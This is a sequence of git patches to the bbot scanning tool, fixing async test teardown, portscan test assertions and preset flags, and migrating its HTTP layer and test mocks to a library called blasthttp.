a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 9846f02246..9b09890cff 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -1,4 +1,3 @@ -import time import httpx import asyncio @@ -49,7 +48,7 @@ async def setup_before_prep(self, module_test): break except Exception as e: self.log.verbose(f"Connection failed: {e}. Retrying...") - time.sleep(0.5) + await asyncio.sleep(0.5) # Ensure the index is empty await client.delete("https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) @@ -118,6 +117,7 @@ async def check(self, module_test, events): params={"ignore": "400,404"}, ) self.log.verbose("Deleted documents from index") - await asyncio.create_subprocess_exec( + process = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) + await process.communicate() diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py index 43d2eb4053..ddf01c67c0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_kafka.py +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -84,9 +84,11 @@ async def check(self, module_test, events): if hasattr(self, "consumer") and not self.consumer._closed: await self.consumer.stop() # Stop Kafka and Zookeeper containers - await asyncio.create_subprocess_exec( + p1 = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) - await asyncio.create_subprocess_exec( + await p1.communicate() + p2 = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) + await p2.communicate() diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index 9accae94c1..67a612c33c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,4 +1,3 @@ -import time import asyncio from .base import ModuleTestBase @@ -49,14 +48,14 @@ async def setup_before_prep(self, module_test): break # Exit the loop if connection is successful except Exception as e: print(f"Connection failed: {e}. Retrying...") - time.sleep(0.5) + await asyncio.sleep(0.5) # Check that there are no events in the collection count = await events_collection.count_documents({}) assert count == 0, "There are existing events in the database" # Close the MongoDB connection - client.close() + await client.aclose() async def check(self, module_test, events): try: @@ -146,7 +145,8 @@ async def check(self, module_test, events): # Clean up: Delete all documents in the collection await events_collection.delete_many({}) # Close the MongoDB connection - client.close() - await asyncio.create_subprocess_exec( + await client.aclose() + process = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-mongo", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) + await process.communicate() diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py index 66f4d38937..32e37a1ee8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nats.py +++ b/bbot/test/test_step_2/module_tests/test_module_nats.py @@ -60,6 +60,7 @@ async def check(self, module_test, events): await self.nc.drain() await self.nc.close() # Stop NATS server container - await asyncio.create_subprocess_exec( + process = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-nats", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) + await process.communicate() diff --git a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py index c272e0b86c..1ec6c1eb56 100644 --- a/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py +++ b/bbot/test/test_step_2/module_tests/test_module_rabbitmq.py @@ -66,6 +66,7 @@ async def check(self, module_test, events): # Clean up: Close the RabbitMQ connection await connection.close() # Stop RabbitMQ container - await asyncio.create_subprocess_exec( + process = await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-rabbitmq", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) + await process.communicate() From 957c0c19c65b6b169cf202095e6c087fa64a579f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 19:11:03 -0400 Subject: [PATCH 388/912] Cancel orphaned async tasks in test fixture teardown, fix portscan test on 3.14 - Add defensive task cleanup after yield in module_test fixture: cancel all orphaned async tasks to prevent them from blocking subsequent test fixtures - Fix TestPortscanPingFirst assertion for Python 3.14 where different async scheduling delivers events in separate batches, causing individual /32 targets to be ping-scanned alongside /24 ranges --- bbot/test/test_step_2/module_tests/base.py | 9 +++++++++ .../test_step_2/module_tests/test_module_portscan.py | 4 +++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 48ab7ec497..ffb4ae0d46 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -114,6 +114,15 @@ async def module_test( await self._execute_scan(module_test) self.log.debug(f"Finished {module_test.name} module test") yield module_test + # Cancel any orphaned async tasks left by the test (e.g. pymongo, aio_pika background threads). + # These persist on the session-scoped event loop and can block subsequent test fixtures. + current_task = asyncio.current_task() + tasks = [t for t in asyncio.all_tasks() if t != current_task and not t.done()] + if tasks: + self.log.debug(f"Cancelling {len(tasks)} orphaned tasks after {self.name}") + for t in tasks: + t.cancel() + await asyncio.gather(*tasks, return_exceptions=True) async def _execute_scan(self, module_test): """Execute the scan and collect events. Can be overridden by benchmark classes.""" diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py index 63f234559c..d79300882e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py @@ -131,7 +131,9 @@ class TestPortscanPingFirst(TestPortscan): def check(self, module_test, events): assert set(self.syn_scanned) == {"8.8.8.8/32"} - assert set(self.ping_scanned) == {"8.8.8.0/24", "8.8.4.0/24"} + # The /24 ranges must always be ping-scanned; individual /32s may also appear + # if async event delivery splits targets across multiple batches (observed on Python 3.14+) + assert {"8.8.8.0/24", "8.8.4.0/24"}.issubset(set(self.ping_scanned)) assert self.syn_runs == 1 assert self.ping_runs >= 1 open_port_events = [e for e in events if e.type == "OPEN_TCP_PORT"] From f5cbbf7a7484d44608862258d8b60e6bbae03717 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 20:37:23 -0400 Subject: [PATCH 389/912] Fix baddns-heavy preset: INFORMATIONAL -> INFO --- bbot/presets/baddns-heavy.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/bbot/presets/baddns-heavy.yml b/bbot/presets/baddns-heavy.yml index 7171728864..bb683a9d0a 100644 --- a/bbot/presets/baddns-heavy.yml +++ b/bbot/presets/baddns-heavy.yml @@ -11,11 +11,11 @@ config: modules: baddns: enabled_submodules: [CNAME, NS, MX, TXT, references, DMARC, SPF, MTA-STS, WILDCARD] - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN baddns_zone: - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN baddns_direct: - min_severity: INFORMATIONAL + min_severity: INFO min_confidence: UNKNOWN From 005f0478025fc20c5c80a034c7602b193c366b7f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 25 Mar 2026 21:00:09 -0400 Subject: [PATCH 390/912] Fix kafka test hang: use auto_offset_reset=earliest and add timeout Consumer defaulted to 'latest', missing all events produced before check() runs. Added 30s timeout as safety net. --- .../module_tests/test_module_kafka.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py index ddf01c67c0..451a551e5f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_kafka.py +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -59,6 +59,7 @@ async def check(self, module_test, events): "bbot_events", bootstrap_servers="localhost:9092", group_id="test_group", + auto_offset_reset="earliest", ) await self.consumer.start() @@ -66,13 +67,17 @@ async def check(self, module_test, events): events_json = [e.json() for e in events] events_json.sort(key=lambda x: x["timestamp"]) - # Collect events from Kafka + # Collect events from Kafka with a timeout to prevent CI hangs kafka_events = [] - async for msg in self.consumer: - event_data = json.loads(msg.value.decode("utf-8")) - kafka_events.append(event_data) - if len(kafka_events) >= len(events_json): - break + + async def _consume(): + async for msg in self.consumer: + event_data = json.loads(msg.value.decode("utf-8")) + kafka_events.append(event_data) + if len(kafka_events) >= len(events_json): + break + + await asyncio.wait_for(_consume(), timeout=30) kafka_events.sort(key=lambda x: x["timestamp"]) From 4cce566ff19891fc32dc0ca9a773536c30cb7858 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 26 Mar 2026 12:04:38 -0400 Subject: [PATCH 391/912] remove source domain event attr --- bbot/core/event/base.py | 2 -- bbot/modules/azure_tenant.py | 1 - bbot/modules/oauth.py | 19 +++++++++++++++---- 3 files changed, 15 insertions(+), 7 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 65e3d91ace..4e386b5740 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -164,8 +164,6 @@ class BaseEvent: "dns_resolve_distance", # Host metadata (cloud providers, ASN, whois, etc.) "_host_metadata", - # Cross-module communication - "source_domain", # Public attributes "module", "scan", diff --git a/bbot/modules/azure_tenant.py b/bbot/modules/azure_tenant.py index f1f045ff6d..23c6c93ba3 100644 --- a/bbot/modules/azure_tenant.py +++ b/bbot/modules/azure_tenant.py @@ -525,7 +525,6 @@ async def emit_findings(self, event, domain, tenant_data): tags=["affiliate", "ms-auth-url"], ) if fed_url_event: - fed_url_event.source_domain = domain await self.emit_event(fed_url_event) def _derive_cloud_type(self, openid_data): diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 640c4080a0..7bcbc972fa 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -32,9 +32,23 @@ async def filter_event(self, event): return True return False + def _get_source_domain(self, event): + """Walk the parent chain to find the nearest in-scope domain.""" + seen = set() + current = event + while current is not None and id(current) not in seen: + seen.add(id(current)) + if current.host: + _, domain = self.helpers.split_domain(str(current.host)) + if self.scan.in_scope(domain): + return domain + current = current.parent + _, domain = self.helpers.split_domain(str(event.host)) + return domain + async def handle_event(self, event): _, domain = self.helpers.split_domain(str(event.host)) - source_domain = getattr(event, "source_domain", domain) + source_domain = self._get_source_domain(event) if not self.scan.in_scope(source_domain): return @@ -73,7 +87,6 @@ async def handle_event(self, event): parent=event, ) if finding_event: - finding_event.source_domain = source_domain await self.emit_event( finding_event, context=f'{{module}} identified {{event.type}}: OpenID Connect Endpoint for "{source_domain}" at {url}', @@ -82,7 +95,6 @@ async def handle_event(self, event): token_endpoint, "URL_UNVERIFIED", parent=event, tags=["affiliate", "oauth-token-endpoint"] ) if url_event: - url_event.source_domain = source_domain await self.emit_event( url_event, context=f'{{module}} identified OpenID Connect Endpoint for "{source_domain}" at {{event.type}}: {url}', @@ -115,7 +127,6 @@ async def handle_event(self, event): parent=event, ) if oauth_finding: - oauth_finding.source_domain = source_domain await self.emit_event( oauth_finding, context=f"{{module}} identified {{event.type}}: {description}", From 3650dcc6bbb6b05c14c1113c39234b83ecae2a81 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 26 Mar 2026 12:25:29 -0400 Subject: [PATCH 392/912] Restore safe flag assertions in preset tests --- bbot/test/test_step_1/test_presets.py | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index ea10443aa4..e3f3cd2afb 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -78,7 +78,7 @@ async def test_preset_yaml(clean_default_config): output_modules=["json"], exclude_modules=["ipneighbor"], flags=["subdomain-enum"], - require_flags=["subdomain-enum"], + require_flags=["safe"], exclude_flags=["slow"], verbose=False, debug=False, @@ -117,6 +117,7 @@ async def test_preset_yaml(clean_default_config): require_flags: - passive + - safe exclude_modules: - certspotter @@ -1086,11 +1087,13 @@ def get_module_flags(p): assert "active" in dnsbrute_flags assert "passive" not in dnsbrute_flags assert "loud" in dnsbrute_flags + assert "safe" not in dnsbrute_flags assert "dnsbrute" in [x[0] for x in module_flags] assert "certspotter" in [x[0] for x in module_flags] assert "c99" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) + assert any("safe" in flags for module, flags in module_flags) assert any("loud" in flags for module, flags in module_flags) # enable by flag, one required flag @@ -1101,6 +1104,8 @@ def get_module_flags(p): assert "httpx" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) + assert any("safe" in flags for module, flags in module_flags) + assert any("loud" in flags for module, flags in module_flags) # enable by flag, one excluded flag preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() @@ -1110,6 +1115,8 @@ def get_module_flags(p): assert "httpx" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) + assert any("safe" in flags for module, flags in module_flags) + assert any("loud" in flags for module, flags in module_flags) # enable by flag, one excluded module preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() @@ -1119,13 +1126,15 @@ def get_module_flags(p): assert "httpx" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) + assert any("safe" in flags for module, flags in module_flags) + assert any("loud" in flags for module, flags in module_flags) - # enable by flag, multiple required flags (exclude loud active modules) - preset = Preset(flags=["subdomain-enum"], require_flags=["passive"], exclude_flags=["loud"]).bake() + # enable by flag, multiple required flags + preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] - assert all("passive" in flags for module, flags in module_flags) + assert all("passive" in flags and "safe" in flags for module, flags in module_flags) assert all("active" not in flags and "loud" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) assert not any("loud" in flags for module, flags in module_flags) @@ -1135,7 +1144,7 @@ def get_module_flags(p): assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] - assert all("passive" in flags for module, flags in module_flags) + assert all("passive" in flags and "safe" in flags for module, flags in module_flags) assert all("active" not in flags and "loud" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) assert not any("loud" in flags for module, flags in module_flags) @@ -1149,6 +1158,8 @@ def get_module_flags(p): assert "c99" not in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) + assert any("safe" in flags for module, flags in module_flags) + assert any("loud" in flags for module, flags in module_flags) @pytest.mark.asyncio From 007424f436b58ee6ebe1aed3c942ce23ec3bc08d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 26 Mar 2026 22:22:29 -0400 Subject: [PATCH 393/912] Relax portscan syn_scanned assertion for async batch splitting MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Same fix already applied to TestPortscanPingFirst — individual /32s may appear alongside /24s when event delivery splits across batches. --- bbot/test/test_step_2/module_tests/test_module_portscan.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_portscan.py b/bbot/test/test_step_2/module_tests/test_module_portscan.py index d79300882e..0efd95b40b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portscan.py +++ b/bbot/test/test_step_2/module_tests/test_module_portscan.py @@ -74,7 +74,9 @@ async def run_masscan(command, *args, **kwargs): module_test.monkeypatch.setattr(module_test.scan.helpers, "run_live", run_masscan) def check(self, module_test, events): - assert set(self.syn_scanned) == {"8.8.8.0/24", "8.8.4.0/24"} + # The /24 ranges must always be syn-scanned; individual /32s may also appear + # if async event delivery splits targets across multiple batches (observed on Python 3.13+) + assert {"8.8.8.0/24", "8.8.4.0/24"}.issubset(set(self.syn_scanned)) assert set(self.ping_scanned) == set() assert self.syn_runs >= 1 assert self.ping_runs == 0 From 5ce0e18b2e70ff9fe626772a33c1bf5f448a09eb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Mar 2026 14:11:35 -0400 Subject: [PATCH 394/912] Replace httpx/curl HTTP infrastructure with blasthttp - Add blasthttp (>=0.1.3) as HTTP engine, remove httpx subprocess dependency - Remove HTTPEngine subprocess, all HTTP now in-process via shared blasthttp client - Remove curl helper, use request() with resolve_ip and request_target - Remove obsolete ffuf module (replaced by web_brute) - Remove obsolete httpx module (replaced by http) - Add native http module using blasthttp batch API - Add native web_brute module using blasthttp batch API - Add web_brute_shortnames module - Add generic_ssrf module - Rewrite sslcert to use blasthttp cert_info - Add blasthttp mock infrastructure for tests - Add resolve_ip passthrough in test conftest for localhost - Add rate limit tests - Add 5-minute default timeout for downloads - Rename output http module to webhook - Fix elastic output module import - Update all module tests for blasthttp mock API --- .gitignore | 1 + AGENTS.md | 15 +- bbot/core/event/base.py | 4 +- bbot/core/helpers/command.py | 16 +- bbot/core/helpers/diff.py | 2 +- bbot/core/helpers/helper.py | 13 + bbot/core/helpers/misc.py | 2 +- bbot/core/helpers/names_generator.py | 10 + bbot/core/helpers/web/blast_response.py | 173 ++++++ bbot/core/helpers/web/client.py | 121 ---- bbot/core/helpers/web/engine.py | 240 -------- bbot/core/helpers/web/web.py | 525 +++++++++++------- bbot/core/modules.py | 4 +- bbot/core/shared_deps.py | 25 + bbot/defaults.yml | 11 +- bbot/modules/baddns.py | 15 - bbot/modules/baddns_direct.py | 1 - bbot/modules/base.py | 8 +- bbot/modules/ffuf.py | 358 ------------ bbot/modules/generic_ssrf.py | 266 +++++++++ bbot/modules/github_codesearch.py | 2 +- bbot/modules/host_header.py | 28 +- bbot/modules/http.py | 315 +++++++++++ bbot/modules/httpx.py | 228 -------- bbot/modules/internal/speculate.py | 2 +- bbot/modules/newsletters.py | 2 +- bbot/modules/nuclei.py | 6 +- bbot/modules/output/elastic.py | 4 +- bbot/modules/output/rabbitmq.py | 29 +- bbot/modules/output/web_report.py | 2 +- bbot/modules/output/{http.py => webhook.py} | 4 +- bbot/modules/portfilter.py | 2 +- bbot/modules/sslcert.py | 209 ++----- bbot/modules/telerik.py | 2 +- bbot/modules/web_brute.py | 400 +++++++++++++ ..._shortnames.py => web_brute_shortnames.py} | 87 ++- bbot/modules/wpscan.py | 4 +- bbot/presets/nuclei/nuclei-budget.yml | 2 +- bbot/presets/nuclei/nuclei-heavy.yml | 2 +- bbot/presets/nuclei/nuclei-technology.yml | 2 +- bbot/presets/nuclei/nuclei.yml | 2 +- bbot/presets/spider.yml | 2 +- bbot/presets/web/dotnet-audit.yml | 2 +- bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 2 +- bbot/presets/web/paramminer.yml | 2 +- bbot/scanner/preset/environ.py | 2 +- bbot/scanner/preset/preset.py | 23 + bbot/scanner/scanner.py | 24 +- bbot/scanner/target.py | 13 +- bbot/test/bbot_fixtures.py | 6 +- .../benchmarks/test_excavate_benchmarks.py | 4 +- .../test_scan_throughput_benchmarks.py | 85 +++ bbot/test/conftest.py | 66 ++- bbot/test/fastapi_test.py | 2 +- bbot/test/mock_blasthttp.py | 358 ++++++++++++ bbot/test/test_step_1/test_bbot_fastapi.py | 23 +- bbot/test/test_step_1/test_cli.py | 10 +- bbot/test/test_step_1/test_events.py | 2 +- bbot/test/test_step_1/test_helpers.py | 2 +- .../test_manager_scope_accuracy.py | 26 +- bbot/test/test_step_1/test_modules_basic.py | 4 +- bbot/test/test_step_1/test_presets.py | 16 +- bbot/test/test_step_1/test_python_api.py | 23 +- bbot/test/test_step_1/test_scan.py | 32 +- bbot/test/test_step_1/test_scope.py | 2 +- bbot/test/test_step_1/test_web.py | 153 ++--- bbot/test/test_step_1/test_web_rate_limit.py | 60 ++ bbot/test/test_step_2/module_tests/base.py | 8 +- .../module_tests/test_module_ajaxpro.py | 2 +- .../module_tests/test_module_anubisdb.py | 2 +- .../module_tests/test_module_apkpure.py | 6 +- .../test_module_aspnet_bin_exposure.py | 2 +- .../module_tests/test_module_azure_tenant.py | 30 +- .../module_tests/test_module_badsecrets.py | 4 +- .../module_tests/test_module_bevigil.py | 8 +- .../module_tests/test_module_bucket_amazon.py | 8 +- .../test_module_bucket_file_enum.py | 8 +- .../module_tests/test_module_bucket_google.py | 2 +- .../test_module_bucket_microsoft.py | 4 +- .../module_tests/test_module_bufferoverrun.py | 4 +- .../module_tests/test_module_builtwith.py | 4 +- .../module_tests/test_module_bypass403.py | 8 +- .../module_tests/test_module_c99.py | 12 +- .../module_tests/test_module_censys_dns.py | 6 +- .../module_tests/test_module_censys_ip.py | 33 +- .../module_tests/test_module_certspotter.py | 2 +- .../module_tests/test_module_chaos.py | 4 +- .../module_tests/test_module_cloudcheck.py | 2 +- .../test_module_code_repository.py | 2 +- .../module_tests/test_module_credshed.py | 4 +- .../module_tests/test_module_crt.py | 2 +- .../module_tests/test_module_dehashed.py | 16 +- .../module_tests/test_module_digitorus.py | 2 +- .../module_tests/test_module_discord.py | 12 +- .../module_tests/test_module_dnsdumpster.py | 4 +- .../module_tests/test_module_docker_pull.py | 28 +- .../module_tests/test_module_dockerhub.py | 4 +- .../module_tests/test_module_dotnetnuke.py | 4 +- .../module_tests/test_module_elastic.py | 148 ++--- .../module_tests/test_module_emailformat.py | 2 +- .../module_tests/test_module_emails.py | 4 +- .../module_tests/test_module_excavate.py | 50 +- .../module_tests/test_module_filedownload.py | 2 +- .../module_tests/test_module_fullhunt.py | 4 +- .../module_tests/test_module_generic_ssrf.py | 90 +++ .../module_tests/test_module_git.py | 2 +- .../module_tests/test_module_git_clone.py | 6 +- .../module_tests/test_module_gitdumper.py | 2 +- .../test_module_github_codesearch.py | 6 +- .../module_tests/test_module_github_org.py | 91 ++- .../test_module_github_usersearch.py | 6 +- .../test_module_github_workflows.py | 20 +- .../module_tests/test_module_gitlab_com.py | 4 +- .../module_tests/test_module_gitlab_onprem.py | 2 +- .../test_module_google_playstore.py | 6 +- .../module_tests/test_module_gowitness.py | 4 +- .../module_tests/test_module_hackertarget.py | 2 +- .../module_tests/test_module_host_header.py | 2 +- .../module_tests/test_module_http.py | 217 ++++++-- .../module_tests/test_module_httpx.py | 175 ------ .../module_tests/test_module_hunt.py | 2 +- .../module_tests/test_module_hunterio.py | 6 +- .../test_module_iis_shortnames.py | 2 +- .../module_tests/test_module_ip2location.py | 2 +- .../module_tests/test_module_ipstack.py | 4 +- .../module_tests/test_module_jadx.py | 6 +- .../module_tests/test_module_kreuzberg.py | 2 +- .../module_tests/test_module_leakix.py | 8 +- .../module_tests/test_module_lightfuzz.py | 46 +- .../module_tests/test_module_mongo.py | 3 + .../module_tests/test_module_myssl.py | 2 +- .../module_tests/test_module_nats.py | 3 +- .../module_tests/test_module_newsletters.py | 2 +- .../module_tests/test_module_ntlm.py | 2 +- .../module_tests/test_module_nuclei.py | 4 +- .../module_tests/test_module_oauth.py | 20 +- .../module_tests/test_module_otx.py | 2 +- .../test_module_paramminer_cookies.py | 2 +- .../test_module_paramminer_getparams.py | 6 +- .../test_module_paramminer_headers.py | 6 +- .../module_tests/test_module_passivetotal.py | 4 +- .../module_tests/test_module_pgp.py | 2 +- .../module_tests/test_module_portfilter.py | 4 +- .../module_tests/test_module_postman.py | 22 +- .../test_module_postman_download.py | 14 +- .../module_tests/test_module_rabbitmq.py | 24 +- .../module_tests/test_module_rapiddns.py | 8 +- .../test_module_reflected_parameters.py | 12 +- .../module_tests/test_module_retirejs.py | 4 +- .../module_tests/test_module_robots.py | 2 +- .../test_module_securitytrails.py | 4 +- .../module_tests/test_module_securitytxt.py | 2 +- .../module_tests/test_module_shodan_dns.py | 6 +- .../test_module_shodan_enterprise.py | 6 +- .../module_tests/test_module_shodan_idb.py | 2 +- .../module_tests/test_module_sitedossier.py | 4 +- .../module_tests/test_module_skymem.py | 6 +- .../module_tests/test_module_slack.py | 2 +- .../module_tests/test_module_smuggler.py | 2 +- .../module_tests/test_module_social.py | 2 +- .../module_tests/test_module_speculate.py | 9 +- .../module_tests/test_module_splunk.py | 10 +- .../module_tests/test_module_sslcert.py | 1 - .../test_module_subdomaincenter.py | 2 +- .../test_module_subdomainradar.py | 191 ++++--- .../module_tests/test_module_subdomains.py | 2 +- .../module_tests/test_module_teams.py | 14 +- .../module_tests/test_module_telerik.py | 4 +- .../module_tests/test_module_trickest.py | 6 +- .../module_tests/test_module_trufflehog.py | 44 +- .../module_tests/test_module_unarchive.py | 2 +- .../test_module_url_manipulation.py | 2 +- .../module_tests/test_module_urlscan.py | 2 +- .../module_tests/test_module_viewdns.py | 2 +- .../module_tests/test_module_virustotal.py | 2 +- .../module_tests/test_module_wafw00f.py | 6 +- .../module_tests/test_module_wayback.py | 2 +- ...odule_ffuf.py => test_module_web_brute.py} | 19 +- ...py => test_module_web_brute_shortnames.py} | 9 +- .../test_module_web_parameters.py | 2 +- .../module_tests/test_module_web_report.py | 2 +- .../module_tests/test_module_webhook.py | 54 ++ .../module_tests/test_module_wpscan.py | 2 +- docs/dev/tests.md | 2 +- docs/diagrams/module-recursion.drawio | 2 +- docs/modules/custom_yara_rules.md | 4 +- docs/scanning/output.md | 12 +- docs/scanning/tips_and_tricks.md | 16 +- pyproject.toml | 3 +- uv.lock | 101 +++- 191 files changed, 3492 insertions(+), 2471 deletions(-) create mode 100644 bbot/core/helpers/web/blast_response.py delete mode 100644 bbot/core/helpers/web/client.py delete mode 100644 bbot/core/helpers/web/engine.py delete mode 100644 bbot/modules/ffuf.py create mode 100644 bbot/modules/generic_ssrf.py create mode 100644 bbot/modules/http.py delete mode 100644 bbot/modules/httpx.py rename bbot/modules/output/{http.py => webhook.py} (98%) create mode 100644 bbot/modules/web_brute.py rename bbot/modules/{ffuf_shortnames.py => web_brute_shortnames.py} (83%) create mode 100644 bbot/test/benchmarks/test_scan_throughput_benchmarks.py create mode 100644 bbot/test/mock_blasthttp.py create mode 100644 bbot/test/test_step_1/test_web_rate_limit.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py delete mode 100644 bbot/test/test_step_2/module_tests/test_module_httpx.py rename bbot/test/test_step_2/module_tests/{test_module_ffuf.py => test_module_web_brute.py} (85%) rename bbot/test/test_step_2/module_tests/{test_module_ffuf_shortnames.py => test_module_web_brute_shortnames.py} (97%) create mode 100644 bbot/test/test_step_2/module_tests/test_module_webhook.py diff --git a/.gitignore b/.gitignore index 768643121b..84360a1600 100644 --- a/.gitignore +++ b/.gitignore @@ -3,3 +3,4 @@ __pycache__/ /data/ /neo4j/ .DS_Store +pytest_debug.log diff --git a/AGENTS.md b/AGENTS.md index 88e017d24f..9e7493e719 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -146,6 +146,7 @@ Key helpers: | Helper | What it does | |--------|-------------| | `self.helpers.request(url)` | Make an HTTP request (with retries, SSL handling, etc.) | +| `self.helpers.blasthttp` | Shared blasthttp client (rate-limited via `web.http_rate_limit` config) | | `self.helpers.resolve(host)` | DNS resolution | | `self.helpers.is_ip(s)` | Check if string is an IP | | `self.helpers.is_dns_name(s)` | Check if string is a hostname | @@ -219,7 +220,7 @@ from .base import ModuleTestBase class TestMyModule(ModuleTestBase): async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.example.com/lookup?domain=blacklanternsecurity.com", json={"emails": ["info@blacklanternsecurity.com"]}, ) @@ -370,7 +371,7 @@ Whether to process seed events (the initial targets provided to the scan). Whether to accept "special" URLs (e.g. JavaScript files) that are not normally distributed to web modules. ```python -# httpx.py - needs to process all URLs including special ones +# http.py - needs to process all URLs including special ones accept_url_special = True ``` @@ -535,7 +536,7 @@ _preserve_graph = True Exclude this module from scan statistics. Used by output and report modules. ##### `_disable_auto_module_deps` (bool) -- default: `False` -Prevent BBOT from automatically enabling dependency modules. For example, if your module watches `URL` events, BBOT normally auto-enables `httpx`. Set this to `True` to prevent that. +Prevent BBOT from automatically enabling dependency modules. For example, if your module watches `URL` events, BBOT normally auto-enables `http`. Set this to `True` to prevent that. --- @@ -875,7 +876,7 @@ class TestMyModule(ModuleTestBase): targets = ["http://127.0.0.1:8888"] # Optional: override which modules are enabled - modules_overrides = ["httpx", "my_module"] + modules_overrides = ["http", "my_module"] # Optional: override config config_overrides = {"modules": {"my_module": {"some_option": True}}} @@ -887,7 +888,7 @@ class TestMyModule(ModuleTestBase): async def setup_after_prep(self, module_test): """Called AFTER the scan is prepared. Modify modules, add mocks here.""" # Mock an HTTP response - module_test.httpx_mock.add_response( + module_test.blasthttp_mock.add_response( url="https://api.example.com/lookup?domain=blacklanternsecurity.com", json={"results": ["sub.blacklanternsecurity.com"]}, ) @@ -920,7 +921,7 @@ The test lifecycle runs: ### Test Utilities -- **`module_test.httpx_mock`** - mock HTTP responses (from pytest-httpx) +- **`module_test.blasthttp_mock`** - mock HTTP responses - **`module_test.httpserver`** - real HTTP server on port 8888 - **`module_test.httpserver_ssl`** - real HTTPS server on port 9999 - **`module_test.mock_dns(data)`** - mock DNS responses @@ -933,7 +934,7 @@ Real example -- `test_module_robots.py`: ```python class TestRobots(ModuleTestBase): targets = ["http://127.0.0.1:8888"] - 